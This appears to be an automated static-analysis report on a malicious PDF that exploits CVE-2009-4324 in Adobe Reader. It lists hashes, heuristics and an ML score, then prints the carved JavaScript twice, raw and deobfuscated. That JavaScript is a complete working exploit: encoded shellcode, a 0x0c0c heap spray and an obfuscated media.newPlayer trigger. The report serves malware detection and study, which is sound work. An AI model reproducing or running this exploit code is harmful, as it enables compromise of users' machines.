Malicious PDF — malware analysis report

Static analysis result for SHA-256 e308e401691985dc…

MALICIOUS

PDF

199.5 KB Created: 2009-07-08 10:53:46 +08:00 Authoring application: Acrobat Distiller 7.0 (Windows) First seen: 2026-05-11
MD5: de4179fd0f38e3719a51a6da7497392c SHA-1: 2fad01d6cfde784afafb95c63761f371f30e3fdc SHA-256: e308e401691985dc4489637bb69a937530c9c474efad08eb9dfa81d4e042d4c2
208 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file was flagged as malicious by an ML classifier with high confidence. Heuristics indicate the presence of embedded JavaScript, which is often used to download and execute further stages of malware. No specific family could be identified, but the techniques suggest a downloader or initial access vector.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 6

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (matched in decompressed stream)
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Obfuscated multi-stage PDF JavaScript heap-spray exploit critical CVE related PDF_JS_OBFUSCATED_MULTISTAGE_HEAPSPRAY
    PDF JavaScript hidden behind nested stream filters and/or a custom in-JS decoder (rolling-XOR stager) decodes to a heap-spray / ROP chain. The spray is only visible after unwinding those layers, which is why the raw heap-spray rules miss it. This is an obfuscated multi-stage Adobe Reader JavaScript exploit; the dropped Windows payload (often named Win.Trojan.Agent by signature AV) is the second stage, not the delivery mechanism.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/pdfx/1.3/In PDF document text

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0017_000.js pdf-javascript-stream PDF /JS object 17 at offset 0x4DA 3098 bytes
SHA-256: 7fc90138dd759812a899a73e2e48f59e59405a49038d58f7d2e30c45f79528e9
Preview script
First 1,000 lines of the extracted script
var unes=unescape

var pGvRIJZpqdN 
for(i=0;i<18000;i++)
pGvRIJZpqdN =pGvRIJZpqdN +0x77;
pGvRIJZpqdN =  unes("%u4143%u494b%u11EB%u5BFC%u334B%u66C9%ub0B9%u8001%u0B34%uE2f9"+
"\x25\x75EBFA\x25\x75E805\x25\x75FFEB\x25\x75FFFF"+
"%uF911%uF9F9%uA3F9%u72AC%u7815%u9D15%uF9FD%u72F9"+
"%u110D%uF869%uF9F9%u0172%u1611%uF9F9%u70F9%u06FF"+
"%u91CF%u6254%u2684%uED11%uF9F8%u70F9%uF5BF%uCF06"+
"%uD091%u3FEB%u11AF%uF8FC%uF9F9%uBF70%u06E9%u91CF"+
"%uC5A0%u82FE%u0F11%uF9F9%u70F9%uEDBF%uCF06%u8791"+
"%u1B21%u118A%uF91E%uF9F9%uBF70%uCACD%u1230%u72FA"+
"%uC5B7%u387A%uA8FD%uF993%u06A8%uF5AF%u7AA0%u0601"+
"%u098D%uB9C4%uF9E6%u8FF9%u7010%uC5B7%uF993%uF993"+
"%uF993%uFB93%uF993%u8F06%u06C5%uE9AF%uBF70%u7ABD"+
"%uF901%u328D%uF993%uF993%uF993%uFD93%u8F06%u06BD"+
"%uEDAF%uBF70%u7AB1%uF901%u4C8D%uC178%uA9DC%uBFBD"+
"%uB772%u8CC5%u7854%uF941%uF9EB%uA9F9%uA99D%u8CBD"+
"%u7858%uFD41%uF9EB%u16F9%u1307%u8C57%u406C%uFFF9"+
"%uF9F9%u1578%uF1F9%uF9F9%uAEAF%u0972%u3F78%uEBE9"+
"%uF9F9%u3D72%u397A%u72F1%u0A01%u405D%uFFF9%uF9F9"+
"%uB0B0%uB0B0%uCD78%u17F1%u0707%u7C16%u8C30%uA608"+
"%u06A7%uC58F%u8F06%u06B1%uBD8F%u1906%uAFAC%u589D"+
"%uF9C9%uF9F9%u397C%uEA81%u72C7%uF5B9%u72C7%uE589"+
"%u72C7%uF1A7%uC754%u9172%u12F1%uC7F4%uB972%uC7CD"+
"%u5172%uF941%uF9F9%u22CA%u3C72%uA4A7%uFD3B%uAAF9"+
"%uAFAC%uCFAE%u9572%uE1DD%u72CF%uC5BC%u72CF%uFCAD"+
"%uFA81%uC72C%uB372%uC7E1%uA372%uFAD9%u1A24%uB0C5"+
"%u72C7%u72CD%u0CFA%u06CA%uCA05%u5539%u3DC3%uFE8D"+
"%u3638%uFAF4%u1201%uCF0B%u85C2%uEDDD%u268C%u3B72"+
"%u397A%uC7DD%uE172%u24FA%uC79F%uF572%uC7B2%uA372"+
"%uFAE5%uC724%uFD72%uFA72%u123C%uCAFB%u7239%uA62C"+
"%uA4A7%u3BA2%uF9F1%uF911%uF9F9%uA1F9%u397A%u3AFC");
var AKjtQExdzrASxZtHTFMSwNZfztONMZPULUqwGGdUSJSLxByMJtOdErPceyqDZbc = unes("\x25\x750\x630\x63\x25\x750\x630\x63");
var QVGaOwzwDZKwxGeQpKmiXsRvZHKaDZBUqJOJuDdvKMYnhGLNNjxscBfBbPYjsjrScRhbRxrUToizpIvPMHrMRKcUZVxE = unes("\x25\x750c0c\x25\x750c0c\x25\x750c0c\x25\x750c0c\x25\x750c0c\x25\x750c0c\x25\x750c0c\x25\x750c0c%u5a51%u4874%u5961%u6b71%u4772%u6a47%u4a73%u6247%u654b%u734b%u4858%u6371%u717a%u7672%u626e%u626e%u455a%u4243%u6764%u7646%u696b%u6a6e%u4e61%u6c6d%u7350%u5168%u7171%u5574");
while(AKjtQExdzrASxZtHTFMSwNZfztONMZPULUqwGGdUSJSLxByMJtOdErPceyqDZbc.length <= 32768) AKjtQExdzrASxZtHTFMSwNZfztONMZPULUqwGGdUSJSLxByMJtOdErPceyqDZbc+=AKjtQExdzrASxZtHTFMSwNZfztONMZPULUqwGGdUSJSLxByMJtOdErPceyqDZbc;
	AKjtQExdzrASxZtHTFMSwNZfztONMZPULUqwGGdUSJSLxByMJtOdErPceyqDZbc=AKjtQExdzrASxZtHTFMSwNZfztONMZPULUqwGGdUSJSLxByMJtOdErPceyqDZbc.substring(0,32768 - pGvRIJZpqdN.length);

aa=new Array();

for(i=0;i<0x2000;i++) {
	aa[i]= AKjtQExdzrASxZtHTFMSwNZfztONMZPULUqwGGdUSJSLxByMJtOdErPceyqDZbc + pGvRIJZpqdN;
}

util["\x70\x72\x69\x6e\x74\x64"]("FGgITeSFZAjpOsSyXgoMbUZttCRxNEDbuZjH", new Date());
util["\x70\x72\x69\x6e\x74\x64"]("PAAhBAPMqrBpJVqRwqwcuxjWkEUEcZdEnvdP", new Date());
try
{//comment
this.media["\x6e\x65\x77\x50\x6c\x61\x79\x65\x72"](null);
}///akak
catch(e)
{
}
util["\x70\x72\x69\x6e\x74\x64"](QVGaOwzwDZKwxGeQpKmiXsRvZHKaDZBUqJOJuDdvKMYnhGLNNjxscBfBbPYjsjrScRhbRxrUToizpIvPMHrMRKcUZVxE, new Date());
generic_stage_recovery_000.js deobfuscated-js generic stage recovery split-literal-normalize from JavaScript object 17 at offset 0x4DA 2934 bytes
SHA-256: feda10a625a11a93c4060f651cf0abe9770dbf61d24e4b38bd49a56cc5e5d268
Preview script
First 1,000 lines of the extracted script
var unes=unescape

var pGvRIJZpqdN 
for(i=0;i<18000;i++)
pGvRIJZpqdN =pGvRIJZpqdN +0x77;
pGvRIJZpqdN =  unes("%u4143%u494b%u11EB%u5BFC%u334B%u66C9%ub0B9%u8001%u0B34%uE2f9%uEBFA%uE805%uFFEB%uFFFF%uF911%uF9F9%uA3F9%u72AC%u7815%u9D15%uF9FD%u72F9%u110D%uF869%uF9F9%u0172%u1611%uF9F9%u70F9%u06FF%u91CF%u6254%u2684%uED11%uF9F8%u70F9%uF5BF%uCF06%uD091%u3FEB%u11AF%uF8FC%uF9F9%uBF70%u06E9%u91CF%uC5A0%u82FE%u0F11%uF9F9%u70F9%uEDBF%uCF06%u8791%u1B21%u118A%uF91E%uF9F9%uBF70%uCACD%u1230%u72FA%uC5B7%u387A%uA8FD%uF993%u06A8%uF5AF%u7AA0%u0601%u098D%uB9C4%uF9E6%u8FF9%u7010%uC5B7%uF993%uF993%uF993%uFB93%uF993%u8F06%u06C5%uE9AF%uBF70%u7ABD%uF901%u328D%uF993%uF993%uF993%uFD93%u8F06%u06BD%uEDAF%uBF70%u7AB1%uF901%u4C8D%uC178%uA9DC%uBFBD%uB772%u8CC5%u7854%uF941%uF9EB%uA9F9%uA99D%u8CBD%u7858%uFD41%uF9EB%u16F9%u1307%u8C57%u406C%uFFF9%uF9F9%u1578%uF1F9%uF9F9%uAEAF%u0972%u3F78%uEBE9%uF9F9%u3D72%u397A%u72F1%u0A01%u405D%uFFF9%uF9F9%uB0B0%uB0B0%uCD78%u17F1%u0707%u7C16%u8C30%uA608%u06A7%uC58F%u8F06%u06B1%uBD8F%u1906%uAFAC%u589D%uF9C9%uF9F9%u397C%uEA81%u72C7%uF5B9%u72C7%uE589%u72C7%uF1A7%uC754%u9172%u12F1%uC7F4%uB972%uC7CD%u5172%uF941%uF9F9%u22CA%u3C72%uA4A7%uFD3B%uAAF9%uAFAC%uCFAE%u9572%uE1DD%u72CF%uC5BC%u72CF%uFCAD%uFA81%uC72C%uB372%uC7E1%uA372%uFAD9%u1A24%uB0C5%u72C7%u72CD%u0CFA%u06CA%uCA05%u5539%u3DC3%uFE8D%u3638%uFAF4%u1201%uCF0B%u85C2%uEDDD%u268C%u3B72%u397A%uC7DD%uE172%u24FA%uC79F%uF572%uC7B2%uA372%uFAE5%uC724%uFD72%uFA72%u123C%uCAFB%u7239%uA62C%uA4A7%u3BA2%uF9F1%uF911%uF9F9%uA1F9%u397A%u3AFC");
var AKjtQExdzrASxZtHTFMSwNZfztONMZPULUqwGGdUSJSLxByMJtOdErPceyqDZbc = unes("\x25\x750\x630\x63\x25\x750\x630\x63");
var QVGaOwzwDZKwxGeQpKmiXsRvZHKaDZBUqJOJuDdvKMYnhGLNNjxscBfBbPYjsjrScRhbRxrUToizpIvPMHrMRKcUZVxE = unes("\x25\x750c0c\x25\x750c0c\x25\x750c0c\x25\x750c0c\x25\x750c0c\x25\x750c0c\x25\x750c0c\x25\x750c0c%u5a51%u4874%u5961%u6b71%u4772%u6a47%u4a73%u6247%u654b%u734b%u4858%u6371%u717a%u7672%u626e%u626e%u455a%u4243%u6764%u7646%u696b%u6a6e%u4e61%u6c6d%u7350%u5168%u7171%u5574");
while(AKjtQExdzrASxZtHTFMSwNZfztONMZPULUqwGGdUSJSLxByMJtOdErPceyqDZbc.length <= 32768) AKjtQExdzrASxZtHTFMSwNZfztONMZPULUqwGGdUSJSLxByMJtOdErPceyqDZbc+=AKjtQExdzrASxZtHTFMSwNZfztONMZPULUqwGGdUSJSLxByMJtOdErPceyqDZbc;
	AKjtQExdzrASxZtHTFMSwNZfztONMZPULUqwGGdUSJSLxByMJtOdErPceyqDZbc=AKjtQExdzrASxZtHTFMSwNZfztONMZPULUqwGGdUSJSLxByMJtOdErPceyqDZbc.substring(0,32768 - pGvRIJZpqdN.length);

aa=new Array();

for(i=0;i<0x2000;i++) {
	aa[i]= AKjtQExdzrASxZtHTFMSwNZfztONMZPULUqwGGdUSJSLxByMJtOdErPceyqDZbc + pGvRIJZpqdN;
}

util["\x70\x72\x69\x6e\x74\x64"]("FGgITeSFZAjpOsSyXgoMbUZttCRxNEDbuZjH", new Date());
util["\x70\x72\x69\x6e\x74\x64"]("PAAhBAPMqrBpJVqRwqwcuxjWkEUEcZdEnvdP", new Date());
try
{//comment
this.media["\x6e\x65\x77\x50\x6c\x61\x79\x65\x72"](null);
}///akak
catch(e)
{
}
util["\x70\x72\x69\x6e\x74\x64"](QVGaOwzwDZKwxGeQpKmiXsRvZHKaDZBUqJOJuDdvKMYnhGLNNjxscBfBbPYjsjrScRhbRxrUToizpIvPMHrMRKcUZVxE, new Date());

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